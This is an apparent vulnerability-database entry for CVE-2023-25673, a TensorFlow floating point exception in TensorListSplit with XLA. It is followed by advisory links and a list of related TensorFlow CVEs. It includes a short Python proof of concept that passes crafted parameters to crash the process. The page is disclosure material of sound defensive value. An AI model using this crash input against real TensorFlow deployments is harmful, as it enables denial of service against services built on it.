TensorFlow has Floating Point Exception in TensorListSplit with XLA

Description

import tensorflow as tf

func = tf.raw_ops.TensorListSplit
para = {'tensor': [1], 'element_shape': -1, 'lengths': [0]}

@tf.function(jit_compile=True)
def fuzz_jit():
 y = func(**para)
 return y

print(fuzz_jit())

References

• tensorflow/tensorflow security advisory · WEB
• nvd.nist.gov/vuln/detail/CVE-2023-25673 · ADVISORY
• tensorflow/tensorflow commit 728113a · WEB
• tensorflow/tensorflow · PACKAGE
• pypi.org/project/tensorflow · PACKAGE
• GitHub Advisory GHSA-647v-r7qq-24fh · ADVISORY
• pypi.org/project/tensorflow-cpu · PACKAGE
• pypi.org/project/tensorflow-gpu · PACKAGE

tensorflow의 다른 취약점

• CVE-2023-33976높음 7.5TensorFlow is an end-to-end open source platform for machine learning. `array_ops.upper_bound` causes a segfault when not given a rank 2 ten…
• CVE-2023-25661보통 6.5TensorFlow is an Open Source Machine Learning Framework. In versions prior to 2.11.1 a malicious invalid input crashes a tensorflow model (C…
• CVE-2023-27579높음 7.5TensorFlow is an end-to-end open source platform for machine learning. Constructing a tflite model with a paramater `filter_input_channel` o…
• CVE-2023-25801높음 7.8TensorFlow is an open source machine learning platform. Prior to versions 2.12.0 and 2.11.1, `nn_ops.fractional_avg_pool_v2` and `nn_ops.fra…
• CVE-2023-25676높음 7.5TensorFlow is an open source machine learning platform. When running versions prior to 2.12.0 and 2.11.1 with XLA, `tf.raw_ops.ParallelConca…